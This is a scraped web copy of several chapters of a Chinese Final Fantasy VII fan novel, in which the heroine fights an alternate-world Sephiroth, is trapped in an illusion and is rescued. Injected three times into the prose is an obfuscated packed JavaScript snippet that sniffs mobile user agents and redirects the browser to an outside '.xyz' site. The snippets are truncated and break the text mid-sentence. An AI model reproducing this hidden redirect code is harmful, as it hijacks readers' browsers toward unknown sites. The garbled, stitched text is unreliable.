……好熟悉。 她皱起眉,却一时想不起这股违和感从而何来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14449738|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 如果萨菲罗斯在的话,大概会知道这一切是怎么回事。但是他们已经有整整一个月没有见面,她不知道这算不算是冷战;又或者对方根本没有这个概念,毕竟吞噬世界线不是一件简单的事情,他偶尔也会离开一段时间。 就在短暂分神的瞬间,混乱拥挤的人流已经将她和其他人冲散,携卷至另一个陌生的城区。她在密集的人群中艰难穿梭,沿着教堂的方向往回走,那股被注视的怪异感再次从心底升起。 她停下脚步,忽然意识到是哪里出了问题。 ——那些被治愈的人正在看着她。 她本以为他们是在看爱丽丝,因为治愈劣化的黑色泉水来自古代种少女的教堂。但此刻他们已经离开了医院,其他人也不在身边,那些视线却依旧无处不在。 无论她走到哪里,那些人都会停下动作,安静而又专注地看着她。 她加快了脚步,但那些拥有蓝绿色眼瞳的身影却如影随形,一次比一次接近。围绕在四周的人越来越多,就在她即将无路可退时,手腕忽然被人一把扣住,而后一道不容置疑的力度将她抽离人群,又在失去重心前将她稳稳地护在怀里。 “啧,发什么愣呢?”熟悉的声音在头顶响起,“第一次见到这么大的人还能走丢。” 红发青年身上的气息与他张扬艳丽的外表不同,像是苹果花的芬芳混杂着枝条燃烧的味道,让人情不自禁联想到冬季噼啪作响的壁炉。一路紧绷的精神放松了些许,她抬起头:“杰内西斯,那些人好像一直在看我。” “我没瞎。” 杰内西斯抬起手,炽热的火焰在空中炸开,人群瞬间爆发出一阵惊呼,那些紧随身后的影子也被分散了注意力。他们趁着混乱的掩护拐进一旁的巷子,在被发现之前离开了旧城区。 被注视的不适感终于消失,晚间的微风让她松了一口气:“那些人不太对劲,看我的感觉就好像……” “像萨菲罗斯看你一样。” 她脚下一个踉跄:“……什么?” 红衣红发的青年大概真的把她当成了小孩,即便离开了人群也没有松开手,生怕她再次走丢。杰内西斯侧过头:“你没注意到吗?那种像全世界都想抢他东西,少看两眼就会被偷的眼神——当然那个东西就是你。” “我不是东——不对,”她硬生生地打住了,“他什么时候这样看我了?” “一直都是。”杰内西斯的语气有些不耐,“你确定要跟我讨论这个问题?” “为什么不行?”她有些莫名,“不是你先提起的吗?” 杰内西斯好像被她气笑了。虽然面上不曾显出任何怒意,蓝绿色的眼瞳却仿佛冻结于霜雪下的孔雀石。 “我只是打个比方,那些人看你的目光就好像你是属于他们的什么东西。”他语调凉薄,“你的眼神还真是一如既往的差,放两颗魔石上去都比你的眼睛强。” “……别这么骂你自己,珍珍。我觉得我的眼神还是挺好的。” 她习惯性地随口反驳了一句,往日里对方都会毫不留情地还击,这次却异常反常地保持沉默。 “你生气了吗?” 她转头正想看清杰内西斯的神色,却被对方抬手一把按了回去。红发青年向来慵懒傲慢的语调中夹杂着些许不自然的僵硬:“没有。低头,看路。” “那我能再问你一个问题吗?” 杰内西斯言简意赅:“说。” “我刚才回想了一下,发现你的形容没错。”她停顿片刻,“萨菲罗斯曾经说过他在我身上留下属于杰诺瓦的标记,所以在这个世界相遇时他会注意到我,卡丹裘他们也能感受到。或许那些人同样受到了影响?” “……你是什么外星品种的猫薄荷吗?”杰内西斯瞥了她一眼,语气古怪,“怪不得每次一走出去全世界的杰诺瓦都围了上来。” 69.第 69 章 为了调查劣化患者的问题,克劳德和扎克斯特意去了一趟北方大空洞,但却一无所获。残余的杰诺瓦细胞早已成为萨菲罗斯重塑躯体的养料,如今那里只剩下一片荒芜。 俗话说祸不单行,那边的线索断了,这边又出了新的状况。本已痊愈的患者再次出现了劣化的迹象,爱丽丝发现黑色泉水的效果并非是永久性的,而且治疗所需的用量还会依次递增。 ——它就像是一颗能够短暂消除痛苦的糖果,吃过一次的人就会不受控制地想吃第二次;但这颗糖果的味道会越来越淡,所以他们就会再吃第三颗、第四颗……最终如同上瘾一般,掉入一个永远也无法填满的无底洞当中。 失去理智的人们涌入爱丽丝的教堂,将自己浸入已经被彻底染成乌黑的泉水当中,直至冰冷的液体没过口鼻,阻断赖以生存的氧气。 既像是某种沉浸于幻想的自我了断,又像是在追随某个虚无缥缈的幻影。 他们费了不少精力驱散狂热的人群,好在W.R.O及时封锁旧城区,勉强控制住混乱的局面。看着眼前盲目而疯狂的身影,她疲惫地叹了口气:“比起劣化的痛苦,更让人无法接受的是得到后又失去的落差吧,所以他们宁可选择死亡。” 亚祖转过头,猫一般纤细而精致的竖瞳缓慢地眨了眨:“或许对他们来说,这并不是死亡。” 杰诺瓦的思维与人类完全不同,平日里少年从不会对这类事物发表评价,多数时间只是保持沉默。因此相比亚祖的回答,她更在意对方背后的想法:“唔,为什么这样说?” 少年似乎有些惊讶,但还是平静地解释:“杰诺瓦细胞拥有分散后再聚合的特性,他们并不是在追求死亡,只是回归本体。” “这倒没错。”她想了想,“可这个世界的杰诺瓦本体不是萨菲罗斯吗?” 再结合的前提是杰诺瓦的本体被分裂。但萨菲罗斯早已重塑躯体,通过吞噬其他世界线恢复力量,即便他想回收这个世界余下的杰诺瓦细胞,以现在的实力也无需采取这种迂回的方式。 ——除非他们追寻的本体并非萨菲罗斯,或者说并非这个世界的萨菲罗斯。 她忽然意识到那股熟悉感从何而来了。 萨菲罗斯曾经在她身上留下杰诺瓦的印记,这种力量对本体来说如同「母亲」的指引,带有不可抗拒的吸引力。而泉水中的黑色物质会向她聚拢,被泉水污染的患者也对她有异样的关注。 爱丽丝说过那种黑色的物质来自其他世界,通过生命之流入侵泉水。 亚祖似乎猜到了她的想法,下意识地握紧手中的枪剑:“创造我们的【萨菲罗斯】被克劳德打败后回归了生命之流。” 那条世界线已经灭亡,但生命之流里【萨菲罗斯】并没有消失,而是跟随他创造的三名思念体来到了这个世界,通过被污染的泉水收集杰诺瓦细胞。所以那些劣化的患者从来没有被治愈,而是被【萨菲罗斯】的意识占据了身体。 【萨菲罗斯】透过他们的眼睛观察这个世界,也看到了她。 而三名思念体本就是【萨菲罗斯】创造的代行者,一旦本体获得足够的杰诺瓦细胞,他们就会成为对方复活的养料。 “卡丹裘和罗兹在哪里?” “罗兹陪爱丽丝去了W.R.O总部,卡丹裘代替他们守在教堂。”少年碧绿的竖瞳骤然收缩,如同一道银色的闪电拦在她身前,苍□□致的面容上少见地露出急切的神色,“姐姐,我们没有——请不要——” “……我不是那个意思。”她愣了一下,意识到对方大概误会了什么,“你先带罗兹离开,我去找卡丹裘。” 受到刺激的猫瞬间安静下来,收起全身倒竖的毛和亮出的利爪,顺从而又乖巧地低下头。亚祖本就是三人组里最冷静的那一个,意识到自己的失态后马上后退一步:“抱歉,姐姐。” “请让我陪你一起去,”少年执拗地站在原地,“如果【萨菲罗斯】复活——” “——那就来不及了,你们都会成为他的一部分。”她打断了对方的话,“克劳德和扎克斯还在回来的路上,替我把消息带给大家好吗?” 那双狭长纤丽的竖瞳一眨不眨地看着她,少年僵持了半晌,最终还是依照她的意思转身离开。 被【萨菲罗斯】控制的影子密密麻麻地挤在警戒线后方,一双双蓝绿色的眼瞳如有实质般黏着在她身上,像是蛰伏于黑暗中的爬行动物,缓缓滑过她的每一寸肌肤。 ——他发现了,他知道她想做什么。 四周的景象飞快地往后流逝,她头也不回地往教堂跑去,无视一路上凝望着自己的身影。 ——一切还来得及,再快一些。 她推开沉重的大门,冰凉的液体瞬间没过小腿。浓墨般的泉水已经浸透整个教堂,劣化的尸骸横七竖八地堆叠在水中,交织出一幅怪诞而血腥的画卷。银发少年背对着她站在厅堂中央,手里提着淌血的武士刀。 “……卡丹裘?” 她停在原地,墨色的泉水如同蛇群在脚边盘绕。 少年侧过头,朝她弯起唇角。依旧熟悉的面容与眼瞳,可那冰冷而森然的笑意却无比陌生,就像是有另一个灵魂寄居在名为卡丹裘的空壳中,透过眼里狭长的深渊攥住面前的猎物。 “初次见面。” 思念体与造物主相似又不同的五官交替闪烁,如同出现故障的电子屏幕,最终定格为死去多年的亡灵。属于的少年纤瘦轮廓被特种兵高大的身影取代,皎白的发丝如水银自脑后淌至腰间。原本清冷的音线逐字逐句变得低沉稠丽,含着绵长而愉悦的恶意。 眼前的男人拥有与萨菲罗斯完全一致的相貌,却又比她所熟悉的那张面容更为苍白与妖冶,雪羽般的睫毛如蝶翼颤动,在眼底投下一片浅浅的阴影。 “我应该称你为姐姐,”来自另一个世界的【萨菲罗斯】笑着说,“还是希森?” “……把卡丹裘还给我。” 她弯起指尖,冰霜悄无声息地沿着水流蔓延。 眼前的【萨菲罗斯】还只是依靠卡丹裘现身的思念体,并未完全重塑肉身。其他人赶到教堂最快也要半个小时,她必须在这段期间内牵制住对方。 “无聊。”【萨菲罗斯】漫不经心地侧过头,“扮演人类的游戏玩够了么?” “是什么让你产生我并非人类的错觉?”她不动声色地反问。 还有三秒。 “何必自欺欺人,”银发的男人手提长刀,不紧不慢地朝她逼近,唇角上扬的弧度如毒蛇的鳞片般昳丽,“这个世界的「我」的伴侣,杰诺瓦选中的母体。” “真巧,星球意志也选中了我。”她抬起眼帘,“你猜我最后的选择是什么?” 两秒。 “漂亮而又天真的人偶,”他勾起一道讥讽的笑,华丽的音线低沉而绵长,好似包裹在层层丝绸里的剧毒汁液,“被星球灌输冠冕堂皇的妄想,便自诩为救世主。” “那么你呢?另一个世界的失败者。” 一秒。 【萨菲罗斯】的身形微微一顿。 流淌的泉水在刹那凝固,荡开的涟漪被骤发的冰霜静止。涅墨西斯自掌心凝出实体,她从冰面凌空跃起,旋身斩向银发的男人。 凌厉的剑风划破虚空,溅起点点碎冰。纤长的弧光一闪而过,【萨菲罗斯】略微侧身,抬手挡下近在咫尺的锋刃。暗紫的长剑与银白的太刀相接,金属碰撞产生的嗡鸣刺透耳膜。 交织的锋芒在半空僵持,对方逐渐加大的力度压得她虎口生痛,仿佛下一秒就要碾碎每一寸骨骼。【萨菲罗斯】将她的反应收尽眼底,脸上的笑意更深:“真是不痛不痒。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14472030|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛛网般的裂痕自二人脚下向外蔓延,发出令人牙酸的爆裂声。她后撤一步,侧身卸去对方的压迫,与此同时数道尖锐的冰刺从下而上快速凝聚,直直刺向银发的身影。 血肉被撕裂,骨骼被穿透,然而这种程度的伤对思念体来说并不致命,只不过暂缓了他的脚步。银白的长刀在下一秒便将冰墙一分为二,裹挟着森冷刺骨的风向她斩来。 身后的大门轰然倒塌,她借着烟尘与碎石的掩护闪身避开接踵而至的剑风,绕至对方身后挥剑横劈。【萨菲罗斯】不躲不闪,在剑锋落下的前一刻反手抬刀挡开,耀眼的星火伴随着刺耳的嗡鸣四散飞溅。银发的男人略微侧身,手里的正宗骤然发力,卷起凛冽的剑风将她猛地甩开! 肋骨处传来清脆的碎裂声,但她已经无暇顾及伤势。眼前的敌人并非她所熟知的那个萨菲罗斯,并不会对自己留手,只会斩杀一切拦路的障碍。 霜雪再次凝聚,她在空中旋身踏上脚下的冰柱,借力一跃而起,在落下的瞬间利用重力带来的惯性凌空斩下,巨大的冲击力将银白的身影压入坍塌的冰面,一时间烟火与血水交融四溅。 “为什么不回答我的问题?”她弯起唇角,“杰诺瓦的印记也对你有影响,对吗?” 碧绿的竖瞳骤然收缩,如同湖面下崩裂的深渊,意识到自己的猜测没错。【萨菲罗斯】抽刀将她逼退,以正宗起势:“所以?” “这条世界线的杰诺瓦本体是萨菲罗斯,而你在利用杰诺瓦细胞复活的同时,也融合了他对我的欲望。”她侧了侧头,“所以,你也渴望拥有我。” 在对方凝神的一瞬间,巨大的时空裂缝横贯整个教堂,将二人的身影和潜藏在水底的肉块状外星生物悉数吞没。 ——她的目的从来都不是【萨菲罗斯】,而是正在复苏的杰诺瓦肉身。既然能够跨越不同世界线,那便证明眼前这个杰诺瓦之子已经恢复了大部分力量,绝不可能仅有思念体这么简单。 “啊,”【萨菲罗斯】振去刀刃上的血迹,缓缓弯起唇角,“是我小瞧你了。” 她毫不犹豫地转身跃向渐成人形的肉团,剑刃燃起炽热的焰火。然而下一秒铺天盖地的黑羽落下,染着寒意的凛冽银光如一支无声的箭矢穿膛而出。 “可惜这还远远不够。” 温热的鲜血飞溅在脸上,模糊了她的视线和感知。首先听到的是刀刃搅动血肉发出的黏腻声响,而后浓郁的腥甜争先恐后地涌入鼻腔,最后才是剧烈到无以言表的痛楚,沿着每一寸神经爬满全身,在同一时间猛然爆发。 暗紫的长剑从脱力的手中滑落。她低下头,看见银白的正宗贯穿自己的身体,殷红的血滴沿着锃亮的刀刃滴下。 “我本来想杀了你。” 【萨菲罗斯】抽回长刀,血肉被二次撕裂的痛苦吞没了她的理智。身后的人抬手将她抱入怀中,动作温柔而眷恋,好像他们并非不死不休的敌人,而是亲密无间的恋人。 “但是现在我改变想法了。”噙着笑意的声音拂过耳畔,“我想要你看着这个世界毁灭,因为我痛苦流泪。” 耀眼的火光在空中绽开,她用最后的力气炸断杰诺瓦的本体,扭曲纠缠的触手在烈焰中痛苦地挣扎。 ……好痛。 其实她一直觉得自己很幸运。 尼布尔海姆的那个晚上,她的身体早在支离破碎之前失去痛觉。 陨石落下之际,萨菲罗斯替她承受了所有伤害,因此她也不曾感到痛苦。 但这次不一样。 ……真的好痛,她想,原来死亡也是一种解脱。 耳畔低沉华丽的音线和记忆重合,幻觉与现实的界限模糊不清。 不知是出于生理还是情感的泪水混着鲜血滑落。 她的声音很轻,转瞬即逝。 “……萨菲罗斯。” 70.第 70 章 从噩梦里惊醒的时候,她发现自己正靠在萨菲罗斯肩头。 银发的特种兵卸下常年不离身的肩甲,为了照顾她的身高还略微侧弯下腰,无意间洒落一层柔软冰凉的银丝。仲夏的晚风拂过层层叠叠的卡吕普索之花,半透明的叶与瓣在暮色中摇曳起伏,宛如一道流光溢彩的淡紫星河。 她和神罗英雄并肩靠坐在花海中央的巨石旁,像是跌入一场绮丽的幻梦。 奥杰吉厄是一座位于偏远地区的独立岛屿,曾经被神罗用于军事实验,废弃以后成为地图上无法标注的禁区。遗留的工业污染导致任何物种都无法在这片土地上生长,除了这种经受过基因改良的半透明花朵。 神罗派遣她和萨菲罗斯前来处理一名叛徒,并且罕见地没有做出时间限制。表面上看这是个难得的清闲任务,因为目标只是个连枪都拿不稳的普通人,仅凭塔克斯也能够完成,但她知道那不过是总裁做给自己看的假象。 总部真正想处决掉的叛徒,是她。 而萨菲罗斯则是被选中执行任务的人。 她朝天空开了一枪,放任那个可怜的替罪羊跳进海里逃走,随后汇报目标已经死亡。这点蹩脚的演技自然瞒不住1st远超常人的感官,然而萨菲罗斯什么也没问。 “我们可以在这里多留一会吗?”她说,“米德加离大海很远,我从来没见过海上的日落。” 银发的特种兵顿了顿,指尖悬停在通讯器的屏幕上方,黑色的皮衣勾勒出肌肉紧绷的弧度。半晌过后,他才平静地开口:“这座岛屿曾因实验泄露被污染,不宜久留。” 神罗英雄无所不能,唯独不擅长撒谎。他每次试图掩饰什么的时候都会无意识地移开目光,薄而淡的唇抿成一条僵硬的线,像只闯完祸不敢直视对方的猫,心虚地用尾巴把沾满犯罪证据的四个爪子卷起来遮住。 “但实验室导致的污染只会对植物造成影响,对人体无害。”她眨了眨眼,“只是半个小时……可以吗,萨菲罗斯?” 碧绿的竖瞳微微收缩,如同宁静湖面下开裂的狭长深渊。银发的特种兵侧过头,极轻地叹了一口气。 她还是第一次看见猫叹气。 原来猫也会叹气。 好神奇! “……下不为例。”她从萨菲罗斯的语气里听出了几分无可奈何。 海上的落日如同她在故乡所见那般美丽,璀璨的融金流入无垠的深蓝,夕阳的余晖为整个世界镀上一层璀璨的金红。日轮一点一点地没入海平面,拉开星与月的帷幕。 “萨菲罗斯,你以前见过海上的日落吗?” “没有特意停下来看过,”银发的特种兵望向天际,停顿片刻,“确实很美。” 她侧过头,看着最后一抹光辉从皎白的发丝上消融流逝。 任务没有时限,所以萨菲罗斯有足够多的时间去思考和抉择。奥杰吉厄岛与世隔绝,是一座天然的囚笼,在这里发生的事情永远不用担心被人知晓,总裁只需要她无法再对神罗构成威胁,是死是活无关紧要。 她等了很久,一直等到日轮沉入深海,星月拉开帷幕,等到她不知不觉地靠在对方肩上陷入沉眠。银发的特种兵如同一尊完美的雕塑般凝固在花海当中,直到她醒来后才重新恢复生机。 “累的话,可以再休息一下。”萨菲罗斯抬起手,从她发间捻下一片花瓣。 卡吕普索之花和其他植物不同,虽然能够不分时间与季节一直盛开,但却只能在这片被改造过的土地上生存,一旦离开便会快速枯败。 “怪不得要叫这个名字,”她看着半透明的花瓣在落地之前化为一捧灰黑的碎屑,随着晚风飘散,“果然和传说里一样无法离开奥杰吉厄岛呢。” “唔,”他侧了侧头,“是那个因为将英雄奥德修斯困在奥杰吉厄岛上七年,所以被父亲囚禁的海洋女神么。” “据说卡吕普索恳求奥德修斯留在自己身边,许诺只要对方愿意就给他永生。”她拨弄着眼前的花朵,半开玩笑地问,“如果是萨菲罗斯的话,会选择留在天堂,还是回去人间呢?” “……那要看是谁。” 她愣了一下,正好对上那双含着笑意的碧绿竖瞳。 “如果是你的话,”萨菲罗斯弯起唇角,低沉而华丽的音线宛如塞壬的歌谣,“我会选择留下。” 海潮拍打着礁石,珍珠般的泡沫在月色下消融。许久过后,她才找回自己的声音:“哪怕只是被卡吕普索的魔法迷惑?” “或许从来没有魔法,只有两个人的心甘情愿。”银发的特种兵低下头,眼底绮丽而深邃的汪洋几乎要将她淹没,“凡人的生命有限,当奥德修斯停留的时间足够长久,那些执念便会随着牵挂一同消失。” 待大脑后知后觉地反应过来时,身体已经先一步做出了回应。她踮起脚尖,在萨菲罗斯唇角落下轻而浅的一吻。 碧绿的竖瞳骤然收缩,神罗英雄大概从来没想过自己会被人如此偷袭,甚至忘记了躲闪,僵硬地凝滞在原地。 她侧了侧头,笑着问:“不继续吗?” 回应她的是一个冰冷而又极具侵略性的吻。毫无技巧与章法可言,如同贪婪掠食的大型猛兽,柔软的舌撬开唇齿,长驱直入占领每一寸城池,肆意卷弄与吮吸着退缩的猎物。奥杰吉厄岛很大,但她此刻连后退半步都做不到,特种兵有力的臂如同大理石般将她牢牢禁锢,覆盖着黑色皮革的手穿过发丝扣住的后脑,迫使她仰头迎合捕食者的掠夺。 支离破碎的话语还未说出口便被悉数吞没,连氧气都成为了必须乞求对方才能摄入些许的奢侈品。萨菲罗斯是想要把她拆吃入腹,缱绻而强势的吻直至刀刃没入心脏也不曾停下。 四周的景象分崩离析,当脚边的最后一朵花也随风消散时,他才慢条斯理地松开手。 寒冰凝成的匕首从特种兵苍白而强壮的胸膛抽离,没有留下半分伤口,甚至不带一丝血液。她颇为遗憾地收回手:“果然只是幻境而已。” ——以她的记忆为蓝本编织出的幻境。 当幻象碎裂的那一刻,被封印的记忆也随之复苏。 传说的结局并不美好,英雄奥德修斯最后在宙斯的帮助下离开岛屿,而卡吕普索则被父亲囚禁在此地。作为惩罚,命运女神每过一段时间就会送来一个需要帮助的英雄,但送来的英雄都不可能留下,而卡吕普索偏偏每次都会陷入爱河。 相同的幻境她已经历经过无数次,在由回忆打造的轮回里不断与英雄萨菲罗斯相爱,最终重演现实中的结局,一同坠于尼布尔海姆的熊熊烈火。 英雄早已死去,如今只剩下灭世的灾厄。她的意识被来自另一个世界【萨菲罗斯】囚禁,一遍又一遍地经历刻骨铭心的痛楚。 无法逃离,无法结束,哪怕短暂清醒也会被送入新的轮回。 “现在认输还来得及,”【萨菲罗斯】唇畔噙着恶意而愉悦的笑,“嗯?” 被反复折磨的意识早已不堪重负,在崩溃的边缘摇摇欲坠。但她还是忍不住笑了起来:“你就只能用这种方式让我感到痛苦了吗……扮演另一个世界的自己玩过家家游戏?” “可现实是你每次都会盲目地爱上虚假的幻象,然后因此痛苦崩溃。”他漫不经心地抬起眼帘,“不管重来多少次,你都无法改变。” “但我并不是因你而痛苦啊,”她摇了摇头,“我爱上的是我记忆里的萨菲罗斯,而不是你。” “那又如何?”【萨菲罗斯】讥讽地笑道,“你根本分不清现实和幻境。” “你哭泣和求饶的时候,”他放缓了语气,如同毒蛇衔住猎物的动脉,利齿没入脆弱的血管,“认得出眼前的人是谁么?” “那你又分得清自己是谁吗?”她没有退缩,“明知道我从来不曾属于你,却还是一次又一次扮演我记忆里的人。” 【萨菲罗斯】对她的话不置可否。 “奥杰吉厄岛的任务距尼布尔海姆事件还有两年,我清醒的时间越来越早。”她平静陈述道,“你的力量正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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银白的光弧掠过,整个世界被一分为二。她落入一个冰冷的怀抱当中,漆黑的单翼遮天蔽日,与绕过她腰肢的臂一同不断收紧,力度之大仿佛要将她融进自己的骨与血。 …… 好像有人在呼唤她。 …… 那道声音说,不要哭。 可她不知道自己为什么要哭,又为什么无法抑制住自己的泪水。 没事的,你很快就会好起来。于是那道声音耐心地重复了一遍又一遍,温柔而又缠绵,仿佛永远都不会厌倦。我会带你回家,永远不会再痛了。 她哭的更厉害了。 那道声音终于停了下来。 但抱着她的人没有。 冰凉柔软的银丝垂落在脸侧,他低下头,一点一点地吻去她眼角的泪水。杰诺瓦没有体温,柔软冰冷的触感如同爬行动物的腹足,密密麻麻地滑过每一寸肌肤。 希森,希森,希森……他将她的名字含入口中反复咀嚼,每个音节都带着病态的颤抖。我在这里,别担心,我们再也不会分离。 银鳞的巨蟒绞住猎物,一圈又一圈,无法躲避,不可逃离。 希森,希森,希森……塞壬海妖开始吟唱,伊甸园的蛇吐出低语。我们会永远在一起,只有我,只是我。 她想说不要再喊了,不要再说了。她不明白他在发什么疯,不就是被正宗捅了一刀,在座各位谁没经历过。 可惜她连睁开眼睛都做不到,更别说是开口。 希森,希森,希森……他轻柔地吻上她的唇角,将溢出的血丝吞吃殆尽。你属于我,也只属于我。 她开始思考萨菲罗斯的脑子是不是被谁打坏了。本来就不太正常,现在更是雪上加霜。 先睡一觉吧,醒来后一切都会好起来的。他的声音温柔得将近诡异。晚安,希森。 耳畔的嗓音越来越遥远,仿佛隔着一层看不见的水幕。丝丝缕缕的困意攀上心头,将她的意识卷入黑暗。 没入寂静的前一秒,她心想。 ——不要和外星人谈恋爱。 71.第 71 章 她像是坠入了一片粘稠的汪洋,竭尽全力朝着海面透下的那一缕光芒游去,却无论如何也无法挣脱翻涌的黑暗。 正如生命之流会自发抵御外来侵入的灾厄,这具由星球祝福重塑的躯体也对杰诺瓦细胞有着天然的抗性。被求生本能激活的免疫系统正在与自伤口蔓延的毒素展开不眠不休的战争,属于她和侵略者的两道意志在每一寸神经中殊死厮杀,灵魂的哀鸣与外星生物的尖啸几乎将脆弱的大脑撕扯成碎片。 排异反应产生的高热模糊了意识与神志,她不知道自己身在何处,也不清楚自己为何而来,只会在本能的驱使下寻找和靠近一切能够浇灭那股烈焰的物体。 似乎有人一直在说些什么,她循着那道声音贴上某个冰冷而又柔软的物体,贪婪地汲取着每一分能够缓解痛苦的凉意。可那个物体似乎有着自己的意识,像一条被惊醒的巨蛇,开始缓慢地盘卷抽离毫无温度的身躯。 “稍微再忍耐一下,希森。很快——” “别动。”她皱起眉,打断了那道声音,无意识地将怀里的物体抱得更紧了一些。 塞壬的歌声戛然而止,伊甸园的蛇停下低语,整个世界在一瞬间陷入将近凝固的寂静当中,唯剩心脏敲击肋骨的低沉旋律。银色的巨蟒将她缠绕起来,冰凉光滑的鳞片安慰般地蹭过眉梢与眼角。 只有一个人会这么抱着她。 在神罗的公寓里,无数个日与夜,每次她不小心在沙发上睡着时,每次她在雷雨夜里从噩梦中苏醒时。虽然记忆中的怀抱温柔灼热,如今的桎梏冰冷缱绻,但她还是认出来了。 “不要走,”她对走向尼布尔海姆那场熊熊业火的身影说,“萨菲罗斯……” 怀抱着她的人沉默了许久,久到她分不清已经过了多长时间。就在她几乎感觉不到对方的存在时,耳畔忽然响起一声低沉的轻笑。 “好。”他温柔地回答,如同誓言,亦如同诅咒,“我们会永远在一起。” “……不对。”她费力地想了想,“你没有回来,你骗了我。” “你从一开始就在骗我。”她记起来了,“每个世界的你都很糟糕,同样的性格恶劣,不听人话——” 覆盖着黑色皮革的手轻而柔地抚上她的脸庞,如同爬行动物滑过肌肤。她还想要继续控诉对方不做人之后的种种行径,但穿过发丝的手扣住她的后脑,余下的话语在下一秒被吞吃殆尽。 唇齿被温柔却不容反抗的力度撬开,有什么东西顺着对方侵略性极强的吻送入口中,她还未反应过来便条件反射地将它咽了下去。陌生而又熟悉的力量好似沙漠中的一汪清泉,飞快地滋润着干涸的喉舌。 于是她本就昏沉的意识再次陷入凝滞。 “张口。”伊甸园的蛇衔着猎物,低声蛊惑她品尝鲜美甘甜的禁果,“放松些……别咬。” 残余的理智疯狂拉响预警,然而本能却不断催促她去索要更多,直至彻底浇灭体内焚毁一切的痛苦。缱绻的吻深入浅出,理智逐渐决堤,无力的挣扎在压倒性的力量下如同欲拒还迎,最终连她都分不清自己到底在拒绝还是索求。 “……你为什么回来的这么晚?”她的声音断断续续,逐渐染上几分颤抖的哭腔,“我等了你好久。” “我在这里,希森,只有我。”冰凉湿滑的舌将她的话语悉数堵回喉间,那道声音温柔得近乎诡异,“我们不会再分离。” 大型的捕食者像是喂养新生的幼兽那般,耐心地从自己身上撕下血与肉,细细嚼碎后再喂入她的口中。一遍又一遍,循环不断,熟练得如同早已重复过无数次。 她坠入漆黑冰冷的深海,离那一丝微弱的光芒越来越远。潜伏于海底的古老生物伸出无数密不透风的触手,将她卷入一个黏腻湿滑的怀抱,层层叠叠的呓语顺着水流将她吞没。 希森,他说,喊我的名字。 杰诺瓦的本体将自己的力量渡给了她,体内叫嚣的病毒终于停歇下来。只知杀戮与破坏的外星生物此刻温顺得如同找到母亲的孩童,将原本的兵戈化作缠绵的依恋,讨好般贴近她的意识。 吃掉我,她听见他说,或者被我吃掉。 即便靠近她的代价是被寸寸撕裂,那道意识也不曾停下。似乎只要能够与她融为一体,成为她的一部分,任何痛苦都愿甘之如殆。 我们会永远在一起。大型猛兽的胸膛发出愉悦的震动,他咬着她的耳垂,噙着笑意低语,永远不会分离,永远无法分离。 现实与回忆的界限开始模糊,逐渐交织成一场混乱的梦。她独自站在熊熊燃烧的火海当中,执着而又盲目地等待着某个人。她等了很久很久,直到天幕坍塌,大地崩坏,直到被绝望和痛苦彻底淹没。 她以为自己再也等不到了。 可那个人最终还是回过头,跨越漫长的时间与无垠的空间,从茫茫星海中找到来自另一个世界的灵魂。 他呼唤着她的名字,一遍又一遍。 即便得不到回应,他也从未放弃。 这一次她听到了。 她睁开双眼,跌入一池流转生辉的碧绿。 “……啊,你醒了。” 梦中的身影与现实重合,萨菲罗斯将她拥入怀里,宝石般的竖瞳流转着绮丽惑人的光泽。 “希森。” 身上的伤口早已痊愈,意识却仍旧有些昏沉。记忆仍尚且留在昏迷前的那一刻,她怔怔地抬起头,任由对方托起自己的脸颊,将额间滑落的碎发别至耳后。 “……萨菲罗斯?”她的声音有些沙哑,“我……发生什么了?” 窗外无边无际的百合花海伴着微风摇曳,荡开的涟漪打碎了倒映在湖中的迢迢星河。这里并不是她原本的世界线,而是萨菲罗斯创造的独立空间。 “你被困住杰诺瓦的本体中,受了很重的伤。”萨菲罗斯的嗓音低沉平缓,温柔得像是海妖的歌谣,“不必担心,一切都已经结束了。” “可是——” “——世界没有毁灭,你的那些朋友也还活着。”萨菲罗斯似乎猜到了她的想法,安抚般抵上她的额头,垂落的发丝与她的交织在一起,“包括那个几个思念体。” 她愣住了,下意识开口:“另一个【你】呢?” 既然卡丹裘三人没被取代,那就证明创造他们的本体已经彻底消失。可生命之流无法溶解杰诺瓦的意识,那么另一个【萨菲罗斯】去了哪里? “杰诺瓦拥有再聚合的特性,并不会死亡。”他缓声道,“当两种意志相争时,失败者便会成为胜利者的……养分。” 不久前才恢复的思维有些迟缓,她花了几十秒才明白这句话背后的真正含义,猛然回过神。 “你吃——吞噬了他?” “啊,也可以这么理解。”萨菲罗斯缓声道,“杰诺瓦遵循弱肉强食的原则,同类之间也是如此。” 浓烈的不安逐渐从心底升起,直觉告诉她事情并没有这么简单。从她所了解到的资料来看,杰诺瓦这个种群的模式类似于蜂巢意识,本体能够读取所有感染体的记忆,侵入他们的思维。 “你……”她艰难地开口,“会继承他的记忆吗?” “或者说‘回收’更合适。”萨菲罗斯弯起唇角,低沉华丽的音线带着几分意味深长的愉悦,“毕竟他拿走了属于我的东西。” 她好像听见了理智断开的声音。 